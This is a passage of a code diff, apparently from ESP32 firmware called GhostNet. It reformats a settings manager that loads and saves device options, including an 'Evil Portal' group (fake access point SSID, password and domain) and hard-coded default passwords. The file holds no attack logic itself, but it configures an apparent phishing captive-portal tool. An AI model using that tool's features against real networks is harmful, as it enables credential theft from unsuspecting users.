ESP_OK) { - settings->rgb_mode = (RGBMode)value_u8; - } - - size_t required_size = sizeof(value_float); // Set the size of the buffer - err = nvs_get_blob(nvsHandle, NVS_CHANNEL_DELAY_KEY, &value_float, &required_size); - if (err == ESP_OK) { - settings->channel_delay = value_float; - } else { - printf("Failed to load Channel Delay: %s\n", esp_err_to_name(err)); - } - - // Load Broadcast Speed - err = nvs_get_u16(nvsHandle, NVS_BROADCAST_SPEED_KEY, &value_u16); - if (err == ESP_OK) { - settings->broadcast_speed = value_u16; - } - - // Load AP SSID - str_size = sizeof(settings->ap_ssid); - err = nvs_get_str(nvsHandle, NVS_AP_SSID_KEY, settings->ap_ssid, &str_size); - if (err != ESP_OK) { - printf("Failed to load AP SSID\n"); - } - - // Load AP Password - str_size = sizeof(settings->ap_password); - err = nvs_get_str(nvsHandle, NVS_AP_PASSWORD_KEY, settings->ap_password, &str_size); - if (err != ESP_OK) { - printf("Failed to load AP Password\n"); - } +static const char *TAG = "SettingsManager"; + +void settings_init(FSettings *settings) { + settings_set_defaults(settings); + esp_err_t err = nvs_flash_init(); + if (err == ESP_ERR_NVS_NO_FREE_PAGES || + err == ESP_ERR_NVS_NEW_VERSION_FOUND) { + nvs_flash_erase(); + nvs_flash_init(); + } + + err = nvs_open("storage", NVS_READWRITE, &nvsHandle); + if (err == ESP_OK) { + settings_load(settings); + printf("Settings loaded successfully.\n"); + } else { + printf("Failed to open NVS handle: %s\n", esp_err_to_name(err)); + } +} + +void settings_deinit(void) { nvs_close(nvsHandle); } + +void settings_set_defaults(FSettings *settings) { + settings->rgb_mode = RGB_MODE_NORMAL; + settings->channel_delay = 1.0f; + settings->broadcast_speed = 5; + strcpy(settings->ap_ssid, "GhostNet"); + strcpy(settings->ap_password, "GhostNet"); + settings->rgb_speed = 15; + + // Evil Portal defaults + strcpy(settings->portal_url, "/default/path"); + strcpy(settings->portal_ssid, "EvilPortal"); + strcpy(settings->portal_password, "EvilPortalPass"); + strcpy(settings->portal_ap_ssid, "EvilAP"); + strcpy(settings->portal_domain, "portal.local"); + settings->portal_offline_mode = false; + + // Power Printer defaults + strcpy(settings->printer_ip, "192.168.1.100"); + strcpy(settings->printer_text, "Default Text"); + settings->printer_font_size = 12; + settings->printer_alignment = ALIGNMENT_CM; + strcpy(settings->flappy_ghost_name, "Bob"); + strcpy(settings->selected_hex_accent_color, "#ffffff"); + strcpy(settings->selected_timezone, "MST7MDT,M3.2.0,M11.1.0"); + settings->gps_rx_pin = 0; + settings->display_timeout_ms = 10000; // Default 10 seconds + settings->rts_enabled = false; +} + +void settings_load(FSettings *settings) { + esp_err_t err; + uint8_t value_u8; + uint16_t value_u16; + float value_float; + size_t str_size; + + // Load RGB Mode + err = nvs_get_u8(nvsHandle, NVS_RGB_MODE_KEY, &value_u8); + if (err == ESP_OK) { + settings->rgb_mode = (RGBMode)value_u8; + } + + size_t required_size = sizeof(value_float); // Set the size of the buffer + err = nvs_get_blob(nvsHandle, NVS_CHANNEL_DELAY_KEY, &value_float, + &required_size); + if (err == ESP_OK) { + settings->channel_delay = value_float; + } else { + printf("Failed to load Channel Delay: %s\n", esp_err_to_name(err)); + } + + // Load Broadcast Speed + err = nvs_get_u16(nvsHandle, NVS_BROADCAST_SPEED_KEY, &value_u16); + if (err == ESP_OK) { + settings->broadcast_speed = value_u16; + } + + // Load AP SSID + str_size = sizeof(settings->ap_ssid); + err = nvs_get_str(nvsHandle, NVS_AP_SSID_KEY, settings->ap_ssid, &str_size); + if (err != ESP_OK) { + printf("Failed to load AP SSID\n"); + } + + // Load AP Password + str_size = sizeof(settings->ap_password); + err = nvs_get_str(nvsHandle, NVS_AP_PASSWORD_KEY, settings->ap_password, + &str_size); + if (err != ESP_OK) { + printf("Failed to load AP Password\n"); + } + + // Load RGB Speed + err = nvs_get_u8(nvsHandle, NVS_RGB_SPEED_KEY, &value_u8); + if (err == ESP_OK) { + settings->rgb_speed = value_u8; + } + + // Load Evil Portal settings + str_size = sizeof(settings->portal_url); + err = nvs_get_str(nvsHandle, NVS_PORTAL_URL_KEY, settings->portal_url, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Portal URL\n"); + } + + str_size = sizeof(settings->portal_ssid); + err = nvs_get_str(nvsHandle, NVS_PORTAL_SSID_KEY, settings->portal_ssid, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Portal SSID\n"); + } + + str_size = sizeof(settings->portal_password); + err = nvs_get_str(nvsHandle, NVS_PORTAL_PASSWORD_KEY, + settings->portal_password, &str_size); + if (err != ESP_OK) { + printf("Failed to load Portal Password\n"); + } + + str_size = sizeof(settings->portal_ap_ssid); + err = nvs_get_str(nvsHandle, NVS_PORTAL_AP_SSID_KEY, settings->portal_ap_ssid, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Portal AP SSID\n"); + } + + str_size = sizeof(settings->portal_domain); + err = nvs_get_str(nvsHandle, NVS_PORTAL_DOMAIN_KEY, settings->portal_domain, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Portal Domain\n"); + } + + err = nvs_get_u8(nvsHandle, NVS_PORTAL_OFFLINE_KEY, &value_u8); + if (err == ESP_OK) { + settings->portal_offline_mode = value_u8; + } + + // Load Power Printer settings + str_size = sizeof(settings->printer_ip); + err = nvs_get_str(nvsHandle, NVS_PRINTER_IP_KEY, settings->printer_ip, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Printer IP\n"); + } + + str_size = sizeof(settings->printer_text); + err = nvs_get_str(nvsHandle, NVS_PRINTER_TEXT_KEY, settings->printer_text, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Printer Text\n"); + } + + err = nvs_get_u8(nvsHandle, NVS_PRINTER_FONT_SIZE_KEY, &value_u8); + if (err == ESP_OK) { + settings->printer_font_size = value_u8; + } + + err = nvs_get_u8(nvsHandle, NVS_PRINTER_ALIGNMENT_KEY, &value_u8); + if (err == ESP_OK) { + settings->printer_alignment = (PrinterAlignment)value_u8; + } + + str_size = sizeof(settings->flappy_ghost_name); + err = nvs_get_str(nvsHandle, NVS_FLAPPY_GHOST_NAME, + settings->flappy_ghost_name, &str_size); + if (err != ESP_OK) { + printf("Failed to load Flappy Ghost Name\n"); + } - // Load RGB Speed - err = nvs_get_u8(nvsHandle, NVS_RGB_SPEED_KEY, &value_u8); - if (err == ESP_OK) { - settings->rgb_speed = value_u8; - } - - // Load Evil Portal settings - str_size = sizeof(settings->portal_url); - err = nvs_get_str(nvsHandle, NVS_PORTAL_URL_KEY, settings->portal_url, &str_size); - if (err != ESP_OK) { - printf("Failed to load Portal URL\n"); - } - - str_size = sizeof(settings->portal_ssid); - err = nvs_get_str(nvsHandle, NVS_PORTAL_SSID_KEY, settings->portal_ssid, &str_size); - if (err != ESP_OK) { - printf("Failed to load Portal SSID\n"); - } - - str_size = sizeof(settings->portal_password); - err = nvs_get_str(nvsHandle, NVS_PORTAL_PASSWORD_KEY, settings->portal_password, &str_size); - if (err != ESP_OK) { - printf("Failed to load Portal Password\n"); - } - - str_size = sizeof(settings->portal_ap_ssid); - err = nvs_get_str(nvsHandle, NVS_PORTAL_AP_SSID_KEY, settings->portal_ap_ssid, &str_size); - if (err != ESP_OK) { - printf("Failed to load Portal AP SSID\n"); - } - - str_size = sizeof(settings->portal_domain); - err = nvs_get_str(nvsHandle, NVS_PORTAL_DOMAIN_KEY, settings->portal_domain, &str_size); - if (err != ESP_OK) { - printf("Failed to load Portal Domain\n"); - } - - err = nvs_get_u8(nvsHandle, NVS_PORTAL_OFFLINE_KEY, &value_u8); - if (err == ESP_OK) { - settings->portal_offline_mode = value_u8; - } - - // Load Power Printer settings - str_size = sizeof(settings->printer_ip); - err = nvs_get_str(nvsHandle, NVS_PRINTER_IP_KEY, settings->printer_ip, &str_size); - if (err != ESP_OK) { - printf("Failed to load Printer IP\n"); - } - - str_size = sizeof(settings->printer_text); - err = nvs_get_str(nvsHandle, NVS_PRINTER_TEXT_KEY, settings->printer_text, &str_size); - if (err != ESP_OK) { - printf("Failed to load Printer Text\n"); - } - - err = nvs_get_u8(nvsHandle, NVS_PRINTER_FONT_SIZE_KEY, &value_u8); - if (err == ESP_OK) { - settings->printer_font_size = value_u8; - } - - err = nvs_get_u8(nvsHandle, NVS_PRINTER_ALIGNMENT_KEY, &value_u8); - if (err == ESP_OK) { - settings->printer_alignment = (PrinterAlignment)value_u8; - } +#ifdef CONFIG_HAS_RTC_CLOCK + str_size = sizeof(settings->selected_timezone); + err = nvs_get_str(nvsHandle, NVS_TIMEZONE_NAME, settings->selected_timezone, + &str_size); + if (err != ESP_OK) { + printf("Failed to load Timezone String\n"); + } +#endif - str_size = sizeof(settings->flappy_ghost_name); - err = nvs_get_str(nvsHandle, NVS_FLAPPY_GHOST_NAME, settings->flappy_ghost_name, &str_size); - if (err != ESP_OK) { - printf("Failed to load Flappy Ghost Name\n"); - } + str_size = sizeof(settings->selected_hex_accent_color); + err = nvs_get_str(nvsHandle, NVS_ACCENT_COLOR, + settings->selected_hex_accent_color, &str_size); + if (err != ESP_OK) { + printf("Failed to load Hex Accent Color String\n"); + } + + err = nvs_get_u8(nvsHandle, NVS_GPS_RX_PIN, &value_u8); + if (err == ESP_OK) { + settings->gps_rx_pin = value_u8; + } + + uint32_t timeout_value; + err = nvs_get_u32(nvsHandle, NVS_DISPLAY_TIMEOUT_KEY, &timeout_value); + if (err == ESP_OK) { + settings->display_timeout_ms = timeout_value; + } else { + settings->display_timeout_ms = 10000; // Default 10 seconds if not found + } + + uint8_t rtsenabledvalue; + err = nvs_get_u8(nvsHandle, NVS_ENABLE_RTS_KEY, &rtsenabledvalue); + if (err == ESP_OK) { + settings->rts_enabled = rtsenabledvalue; + } else { + settings->rts_enabled = false; + } + + printf("Settings loaded from NVS.\n"); +} + +void settings_save(const FSettings *settings) { + ESP_LOGI(TAG, "Starting settings save process"); + ESP_LOGI(TAG, "Current display timeout: %lu ms", + settings->display_timeout_ms); + ESP_LOGI(TAG, "Current timezone: %s", settings->selected_timezone); + + esp_err_t err; + + // Save RGB Mode + err = nvs_set_u8(nvsHandle, NVS_RGB_MODE_KEY, (uint8_t)settings->rgb_mode); + if (err != ESP_OK) { + printf("Failed to save RGB Mode\n"); + } + + // Save Channel Delay + err = nvs_set_blob(nvsHandle, NVS_CHANNEL_DELAY_KEY, &settings->channel_delay, + sizeof(settings->channel_delay)); + if (err != ESP_OK) { + printf("Failed to save Channel Delay\n"); + } + + // Save Broadcast Speed + err = nvs_set_u16(nvsHandle, NVS_BROADCAST_SPEED_KEY, + settings->broadcast_speed); + if (err != ESP_OK) { + printf("Failed to save Broadcast Speed\n"); + } + + // Save AP SSID + err = nvs_set_str(nvsHandle, NVS_AP_SSID_KEY, settings->ap_ssid); + if (err != ESP_OK) { + printf("Failed to save AP SSID\n"); + } + + // Save AP Password + err = nvs_set_str(nvsHandle, NVS_AP_PASSWORD_KEY, settings->ap_password); + if (err != ESP_OK) { + printf("Failed to save AP Password\n"); + } + + // Save RGB Speed + err = nvs_set_u8(nvsHandle, NVS_RGB_SPEED_KEY, settings->rgb_speed); + if (err != ESP_OK) { + printf("Failed to save RGB Speed\n"); + } + + // Save RTS Enabled + err = nvs_set_u8(nvsHandle, NVS_ENABLE_RTS_KEY, settings->rts_enabled); + if (err != ESP_OK) { + printf("Failed to save RTS Enabled\n"); + } + + // Save Evil Portal settings + err = nvs_set_str(nvsHandle, NVS_PORTAL_URL_KEY, settings->portal_url); + if (err != ESP_OK) { + printf("Failed to save Portal URL\n"); + } + + err = nvs_set_str(nvsHandle, NVS_PORTAL_SSID_KEY, settings->portal_ssid); + if (err != ESP_OK) { + printf("Failed to save Portal SSID\n"); + } + + err = nvs_set_str(nvsHandle, NVS_PORTAL_PASSWORD_KEY, + settings->portal_password); + if (err != ESP_OK) { + printf("Failed to save Portal Password\n"); + } + + err = + nvs_set_str(nvsHandle, NVS_PORTAL_AP_SSID_KEY, settings->portal_ap_ssid); + if (err != ESP_OK) { + printf("Failed to save Portal AP SSID\n"); + } + + err = nvs_set_str(nvsHandle, NVS_PORTAL_DOMAIN_KEY, settings->portal_domain); + if (err != ESP_OK) { + printf("Failed to save Portal Domain\n"); + } + + err = nvs_set_u8(nvsHandle, NVS_PORTAL_OFFLINE_KEY, + settings->portal_offline_mode); + if (err != ESP_OK) { + printf("Failed to save Portal Offline Mode\n"); + } + + // Save Power Printer settings + err = nvs_set_str(nvsHandle, NVS_PRINTER_IP_KEY, settings->printer_ip); + if (err != ESP_OK) { + printf("Failed to save Printer IP\n"); + } + + err = nvs_set_str(nvsHandle, NVS_PRINTER_TEXT_KEY, settings->printer_text); + if (err != ESP_OK) { + printf("Failed to save Printer Text\n"); + } + + err = nvs_set_u8(nvsHandle, NVS_PRINTER_FONT_SIZE_KEY, + settings->printer_font_size); + if (err != ESP_OK) { + printf("Failed to save Printer Font Size\n"); + } + + err = nvs_set_u8(nvsHandle, NVS_PRINTER_ALIGNMENT_KEY, + (uint8_t)settings->printer_alignment); + if (err != ESP_OK) { + printf("Failed to save Printer Alignment\n"); + } + + err = nvs_set_str(nvsHandle, NVS_FLAPPY_GHOST_NAME, + settings->flappy_ghost_name); + if (err != ESP_OK) { + printf("Failed to save Flappy Ghost Name\n"); + } + + err = nvs_set_str(nvsHandle, NVS_TIMEZONE_NAME, settings->selected_timezone); + if (err != ESP_OK) { + printf("Failed to Save Timezone String %s\n", esp_err_to_name(err)); + } + + err = nvs_set_str(nvsHandle, NVS_ACCENT_COLOR, + settings->selected_hex_accent_color); + if (err != ESP_OK) { + printf("Failed to Save Hex Accent Color %s", esp_err_to_name(err)); + } + + err = nvs_set_u8(nvsHandle, NVS_GPS_RX_PIN, (uint8_t)settings->gps_rx_pin); + if (err != ESP_OK) { + printf("Failed to save Printer Alignment\n"); + } + + err = nvs_set_u32(nvsHandle, NVS_DISPLAY_TIMEOUT_KEY, + settings->display_timeout_ms); + if (err != ESP_OK) { + ESP_LOGE(TAG, "Failed to save Display Timeout"); + } + + if (settings_get_rgb_mode(&G_Settings) == 0) { + if (rgb_effect_task_handle != NULL) { + vTaskDelete(rgb_effect_task_handle); + rgb_effect_task_handle = NULL; + } + rgb_manager_set_color(&rgb_manager, 0, 0, 0, 0, false); + } else { + if (rgb_effect_task_handle == NULL) { + xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, + &rgb_effect_task_handle); + } + } + + // Commit all changes + err = nvs_commit(nvsHandle); + if (err != ESP_OK) { + printf("Failed to commit NVS changes\n"); + } else { + printf("Settings saved to NVS.\n"); + } #ifdef CONFIG_HAS_RTC_CLOCK - str_size = sizeof(settings->selected_timezone); - err = nvs_get_str(nvsHandle, NVS_TIMEZONE_NAME, settings->selected_timezone, &str_size); - if (err != ESP_OK) { - printf("Failed to load Timezone String\n"); - } + // Apply timezone change immediately + ESP_LOGI(TAG, "Applying timezone change: %s", settings->selected_timezone); + setenv("TZ", settings->selected_timezone, 1); + tzset(); + + // Force time display update if it exists + if (time_update_timer) { + ESP_LOGI(TAG, "Forcing time display update"); + lv_timer_ready(time_update_timer); + } else { + ESP_LOGW(TAG, "Time update timer not available"); + } #endif - - str_size = sizeof(settings->selected_hex_accent_color); - err = nvs_get_str(nvsHandle, NVS_ACCENT_COLOR, settings->selected_hex_accent_color, &str_size); - if (err != ESP_OK) { - printf("Failed to load Hex Accent Color String\n"); - } - - err = nvs_get_u8(nvsHandle, NVS_GPS_RX_PIN, &value_u8); - if (err == ESP_OK) { - settings->gps_rx_pin = value_u8; - } - uint32_t timeout_value; - err = nvs_get_u32(nvsHandle, NVS_DISPLAY_TIMEOUT_KEY, &timeout_value); - if (err == ESP_OK) { - settings->display_timeout_ms = timeout_value; - } else { - settings->display_timeout_ms = 10000; // Default 10 seconds if not found - } + // Update global settings immediately + ESP_LOGI(TAG, "Updating global settings"); + ESP_LOGI(TAG, "Old display timeout: %lu ms", G_Settings.display_timeout_ms); + memcpy(&G_Settings, settings, sizeof(FSettings)); + ESP_LOGI(TAG, "New display timeout: %lu ms", G_Settings.display_timeout_ms); - printf("Settings loaded from NVS.\n"); + err = nvs_commit(nvsHandle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "Failed to commit NVS changes: %s", esp_err_to_name(err)); + } else { + ESP_LOGI(TAG, "Settings saved to NVS successfully"); + } } -void settings_save(const FSettings* settings) { - ESP_LOGI(TAG, "Starting settings save process"); - ESP_LOGI(TAG, "Current display timeout: %lu ms", settings->display_timeout_ms); - ESP_LOGI(TAG, "Current timezone: %s", settings->selected_timezone); - - esp_err_t err; - - // Save RGB Mode - err = nvs_set_u8(nvsHandle, NVS_RGB_MODE_KEY, (uint8_t)settings->rgb_mode); - if (err != ESP_OK) { - printf("Failed to save RGB Mode\n"); - } - - // Save Channel Delay - err = nvs_set_blob(nvsHandle, NVS_CHANNEL_DELAY_KEY, &settings->channel_delay, sizeof(settings->channel_delay)); - if (err != ESP_OK) { - printf("Failed to save Channel Delay\n"); - } - - // Save Broadcast Speed - err = nvs_set_u16(nvsHandle, NVS_BROADCAST_SPEED_KEY, settings->broadcast_speed); - if (err != ESP_OK) { - printf("Failed to save Broadcast Speed\n"); - } - - // Save AP SSID - err = nvs_set_str(nvsHandle, NVS_AP_SSID_KEY, settings->ap_ssid); - if (err != ESP_OK) { - printf("Failed to save AP SSID\n"); - } - - // Save AP Password - err = nvs_set_str(nvsHandle, NVS_AP_PASSWORD_KEY, settings->ap_password); - if (err != ESP_OK) { - printf("Failed to save AP Password\n"); - } - - // Save RGB Speed - err = nvs_set_u8(nvsHandle, NVS_RGB_SPEED_KEY, settings->rgb_speed); - if (err != ESP_OK) { - printf("Failed to save RGB Speed\n"); - } - - // Save Evil Portal settings - err = nvs_set_str(nvsHandle, NVS_PORTAL_URL_KEY, settings->portal_url); - if (err != ESP_OK) { - printf("Failed to save Portal URL\n"); - } - - err = nvs_set_str(nvsHandle, NVS_PORTAL_SSID_KEY, settings->portal_ssid); - if (err != ESP_OK) { - printf("Failed to save Portal SSID\n"); - } - - err = nvs_set_str(nvsHandle, NVS_PORTAL_PASSWORD_KEY, settings->portal_password); - if (err != ESP_OK) { - printf("Failed to save Portal Password\n"); - } - - err = nvs_set_str(nvsHandle, NVS_PORTAL_AP_SSID_KEY, settings->portal_ap_ssid); - if (err != ESP_OK) { - printf("Failed to save Portal AP SSID\n"); - } - - err = nvs_set_str(nvsHandle, NVS_PORTAL_DOMAIN_KEY, settings->portal_domain); - if (err != ESP_OK) { - printf("Failed to save Portal Domain\n"); - } - - err = nvs_set_u8(nvsHandle, NVS_PORTAL_OFFLINE_KEY, settings->portal_offline_mode); - if (err != ESP_OK) { - printf("Failed to save Portal Offline Mode\n"); - } - - // Save Power Printer settings - err = nvs_set_str(nvsHandle, NVS_PRINTER_IP_KEY, settings->printer_ip); - if (err != ESP_OK) { - printf("Failed to save Printer IP\n"); - } - - err = nvs_set_str(nvsHandle, NVS_PRINTER_TEXT_KEY, settings->printer_text); - if (err != ESP_OK) { - printf("Failed to save Printer Text\n"); - } - - err = nvs_set_u8(nvsHandle, NVS_PRINTER_FONT_SIZE_KEY, settings->printer_font_size); - if (err != ESP_OK) { - printf("Failed to save Printer Font Size\n"); - } - - err = nvs_set_u8(nvsHandle, NVS_PRINTER_ALIGNMENT_KEY, (uint8_t)settings->printer_alignment); - if (err != ESP_OK) { - printf("Failed to save Printer Alignment\n"); - } - - err = nvs_set_str(nvsHandle, NVS_FLAPPY_GHOST_NAME, settings->flappy_ghost_name); - if (err != ESP_OK) { - printf("Failed to save Flappy Ghost Name\n"); - } - - err = nvs_set_str(nvsHandle, NVS_TIMEZONE_NAME, settings->selected_timezone); - if (err != ESP_OK) { - printf("Failed to Save Timezone String %s\n", esp_err_to_name(err)); - } - - err = nvs_set_str(nvsHandle, NVS_ACCENT_COLOR, settings->selected_hex_accent_color); - if (err != ESP_OK) { - printf("Failed to Save Hex Accent Color %s", esp_err_to_name(err)); - } - - err = nvs_set_u8(nvsHandle, NVS_GPS_RX_PIN, (uint8_t)settings->gps_rx_pin); - if (err != ESP_OK) { - printf("Failed to save Printer Alignment\n"); - } - - err = nvs_set_u32(nvsHandle, NVS_DISPLAY_TIMEOUT_KEY, settings->display_timeout_ms); - if (err != ESP_OK) { - ESP_LOGE(TAG, "Failed to save Display Timeout"); - } - - if (settings_get_rgb_mode(&G_Settings) == 0) - { - if (rgb_effect_task_handle != NULL) - { - vTaskDelete(rgb_effect_task_handle); - rgb_effect_task_handle = NULL; - } - rgb_manager_set_color(&rgb_manager, 0, 0, 0, 0, false); - } - else - { - if (rgb_effect_task_handle == NULL) - { - xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, &rgb_effect_task_handle); - } - } - - // Commit all changes - err = nvs_commit(nvsHandle); - if (err != ESP_OK) { - printf("Failed to commit NVS changes\n"); - } else { - printf("Settings saved to NVS.\n"); - } - -#ifdef CONFIG_HAS_RTC_CLOCK - // Apply timezone change immediately - ESP_LOGI(TAG, "Applying timezone change: %s", settings->selected_timezone); - setenv("TZ", settings->selected_timezone, 1); - tzset(); - - // Force time display update if it exists - if (time_update_timer) { - ESP_LOGI(TAG, "Forcing time display update"); - lv_timer_ready(time_update_timer); - } else { - ESP_LOGW(TAG, "Time update timer not available"); - } -#endif +// Core Settings Getters and Setters +void settings_set_rgb_mode(FSettings *settings, RGBMode mode) { + settings->rgb_mode = mode; +} - // Update global settings immediately - ESP_LOGI(TAG, "Updating global settings"); - ESP_LOGI(TAG, "Old display timeout: %lu ms", G_Settings.display_timeout_ms); - memcpy(&G_Settings, settings, sizeof(FSettings)); - ESP_LOGI(TAG, "New display timeout: %lu ms", G_Settings.display_timeout_ms); - - err = nvs_commit(nvsHandle); - if (err != ESP_OK) { - ESP_LOGE(TAG, "Failed to commit NVS changes: %s", esp_err_to_name(err)); - } else { - ESP_LOGI(TAG, "Settings saved to NVS successfully"); - } +void settings_set_rts_enabled(FSettings *settings, bool enabled) { + settings->rts_enabled = enabled; } -// Core Settings Getters and Setters -void settings_set_rgb_mode(FSettings* settings, RGBMode mode) { - settings->rgb_mode = mode; +bool settings_get_rts_enabled(FSettings *settings) { + return settings->rts_enabled; } -RGBMode settings_get_rgb_mode(const FSettings* settings) { - return settings->rgb_mode; +RGBMode settings_get_rgb_mode(const FSettings *settings) { + return settings->rgb_mode; } -void settings_set_channel_delay(FSettings* settings, float delay_ms) { - settings->channel_delay = delay_ms; +void settings_set_channel_delay(FSettings *settings, float delay_ms) { + settings->channel_delay = delay_ms; } -float settings_get_channel_delay(const FSettings* settings) { - return settings->channel_delay; +float settings_get_channel_delay(const FSettings *settings) { + return settings->channel_delay; } -void settings_set_broadcast_speed(FSettings* settings, uint16_t speed) { - settings->broadcast_speed = speed; +void settings_set_broadcast_speed(FSettings *settings, uint16_t speed) { + settings->broadcast_speed = speed; } -uint16_t settings_get_broadcast_speed(const FSettings* settings) { - return settings->broadcast_speed; +uint16_t settings_get_broadcast_speed(const FSettings *settings) { + return settings->broadcast_speed; } -void settings_set_flappy_ghost_name(FSettings *settings, const char *Name) -{ - strncpy(settings->flappy_ghost_name, Name, sizeof(settings->flappy_ghost_name) - 1); - settings->flappy_ghost_name[sizeof(settings->flappy_ghost_name) - 1] = '\0'; +void settings_set_flappy_ghost_name(FSettings *settings, const char *Name) { + strncpy(settings->flappy_ghost_name, Name, + sizeof(settings->flappy_ghost_name) - 1); + settings->flappy_ghost_name[sizeof(settings->flappy_ghost_name) - 1] = '\0'; } -const char *settings_get_flappy_ghost_name(const FSettings *settings) -{ - return settings->flappy_ghost_name; +const char *settings_get_flappy_ghost_name(const FSettings *settings) { + return settings->flappy_ghost_name; } -void settings_set_timezone_str(FSettings *settings, const char *Name) -{ - strncpy(settings->selected_timezone, Name, sizeof(settings->selected_timezone) - 1); - settings->selected_timezone[sizeof(settings->selected_timezone) - 1] = '\0'; +void settings_set_timezone_str(FSettings *settings, const char *Name) { + strncpy(settings->selected_timezone, Name, + sizeof(settings->selected_timezone) - 1); + settings->selected_timezone[sizeof(settings->selected_timezone) - 1] = '\0'; } -const char *settings_get_timezone_str(const FSettings *settings) -{ - return settings->selected_timezone; +const char *settings_get_timezone_str(const FSettings *settings) { + return settings->selected_timezone; } -void settings_set_accent_color_str(FSettings *settings, const char *Name) -{ - strncpy(settings->selected_hex_accent_color, Name, sizeof(settings->selected_hex_accent_color) - 1); - settings->selected_hex_accent_color[sizeof(settings->selected_hex_accent_color) - 1] = '\0'; +void settings_set_accent_color_str(FSettings *settings, const char *Name) { + strncpy(settings->selected_hex_accent_color, Name, + sizeof(settings->selected_hex_accent_color) - 1); + settings + ->selected_hex_accent_color[sizeof(settings->selected_hex_accent_color) - + 1] = '\0'; } -const char *settings_get_accent_color_str(const FSettings *settings) -{ - return settings->selected_hex_accent_color; +const char *settings_get_accent_color_str(const FSettings *settings) { + return settings->selected_hex_accent_color; } -void settings_set_ap_ssid(FSettings *settings, const char *ssid) -{ - strncpy(settings->ap_ssid, ssid, sizeof(settings->ap_ssid) - 1); - settings->ap_ssid[sizeof(settings->ap_ssid) - 1] = '\0'; +void settings_set_ap_ssid(FSettings *settings, const char *ssid) { + strncpy(settings->ap_ssid, ssid, sizeof(settings->ap_ssid) - 1); + settings->ap_ssid[sizeof(settings->ap_ssid) - 1] = '\0'; } -const char* settings_get_ap_ssid(const FSettings* settings) { - return settings->ap_ssid; +const char *settings_get_ap_ssid(const FSettings *settings) { + return settings->ap_ssid; } -void settings_set_ap_password(FSettings* settings, const char* password) { - strncpy(settings->ap_password, password, sizeof(settings->ap_password) - 1); - settings->ap_password[sizeof(settings->ap_password) - 1] = '\0'; +void settings_set_ap_password(FSettings *settings, const char *password) { + strncpy(settings->ap_password, password, sizeof(settings->ap_password) - 1); + settings->ap_password[sizeof(settings->ap_password) - 1] = '\0'; } -const char* settings_get_ap_password(const FSettings* settings) { - return settings->ap_password; +const char *settings_get_ap_password(const FSettings *settings) { + return settings->ap_password; } -void settings_set_gps_rx_pin(FSettings* settings, uint8_t RxPin) { - settings->gps_rx_pin = RxPin; +void settings_set_gps_rx_pin(FSettings *settings, uint8_t RxPin) { + settings->gps_rx_pin = RxPin; } -uint8_t settings_get_gps_rx_pin(const FSettings* settings) { - return settings->gps_rx_pin; +uint8_t settings_get_gps_rx_pin(const FSettings *settings) { + return settings->gps_rx_pin; } -void settings_set_rgb_speed(FSettings* settings, uint8_t speed) { - settings->rgb_speed = speed; +void settings_set_rgb_speed(FSettings *settings, uint8_t speed) { + settings->rgb_speed = speed; } -uint8_t settings_get_rgb_speed(const FSettings* settings) { - return settings->rgb_speed; +uint8_t settings_get_rgb_speed(const FSettings *settings) { + return settings->rgb_speed; } // Evil Portal Getters and Setters -void settings_set_portal_url(FSettings* settings, const char* url) { - strncpy(settings->portal_url, url, sizeof(settings->portal_url) - 1); - settings->portal_url[sizeof(settings->portal_url) - 1] = '\0'; +void settings_set_portal_url(FSettings *settings, const char *url) { + strncpy(settings->portal_url, url, sizeof(settings->portal_url) - 1); + settings->portal_url[sizeof(settings->portal_url) - 1] = '\0'; } -const char* settings_get_portal_url(const FSettings* settings) { - return settings->portal_url; +const char *settings_get_portal_url(const FSettings *settings) { + return settings->portal_url; } -void settings_set_portal_ssid(FSettings* settings, const char* ssid) { - strncpy(settings->portal_ssid, ssid, sizeof(settings->portal_ssid) - 1); - settings->portal_ssid[sizeof(settings->portal_ssid) - 1] = '\0'; +void settings_set_portal_ssid(FSettings *settings, const char *ssid) { + strncpy(settings->portal_ssid, ssid, sizeof(settings->portal_ssid) - 1); + settings->portal_ssid[sizeof(settings->portal_ssid) - 1] = '\0'; } -const char* settings_get_portal_ssid(const FSettings* settings) { - return settings->portal_ssid; +const char *settings_get_portal_ssid(const FSettings *settings) { + return settings->portal_ssid; } -void settings_set_portal_password(FSettings* settings, const char* password) { - strncpy(settings->portal_password, password, sizeof(settings->portal_password) - 1); - settings->portal_password[sizeof(settings->portal_password) - 1] = '\0'; +void settings_set_portal_password(FSettings *settings, const char *password) { + strncpy(settings->portal_password, password, + sizeof(settings->portal_password) - 1); + settings->portal_password[sizeof(settings->portal_password) - 1] = '\0'; } -const char* settings_get_portal_password(const FSettings* settings) { - return settings->portal_password; +const char *settings_get_portal_password(const FSettings *settings) { + return settings->portal_password; } -void settings_set_portal_ap_ssid(FSettings* settings, const char* ap_ssid) { - strncpy(settings->portal_ap_ssid, ap_ssid, sizeof(settings->portal_ap_ssid) - 1); - settings->portal_ap_ssid[sizeof(settings->portal_ap_ssid) - 1] = '\0'; +void settings_set_portal_ap_ssid(FSettings *settings, const char *ap_ssid) { + strncpy(settings->portal_ap_ssid, ap_ssid, + sizeof(settings->portal_ap_ssid) - 1); + settings->portal_ap_ssid[sizeof(settings->portal_ap_ssid) - 1] = '\0'; } -const char* settings_get_portal_ap_ssid(const FSettings* settings) { - return settings->portal_ap_ssid; +const char *settings_get_portal_ap_ssid(const FSettings *settings) { + return settings->portal_ap_ssid; } -void settings_set_portal_domain(FSettings* settings, const char* domain) { - strncpy(settings->portal_domain, domain, sizeof(settings->portal_domain) - 1); - settings->portal_domain[sizeof(settings->portal_domain) - 1] = '\0'; +void settings_set_portal_domain(FSettings *settings, const char *domain) { + strncpy(settings->portal_domain, domain, sizeof(settings->portal_domain) - 1); + settings->portal_domain[sizeof(settings->portal_domain) - 1] = '\0'; } -const char* settings_get_portal_domain(const FSettings* settings) { - return settings->portal_domain; +const char *settings_get_portal_domain(const FSettings *settings) { + return settings->portal_domain; } -void settings_set_portal_offline_mode(FSettings* settings, bool offline_mode) { - settings->portal_offline_mode = offline_mode; +void settings_set_portal_offline_mode(FSettings *settings, bool offline_mode) { + settings->portal_offline_mode = offline_mode; } 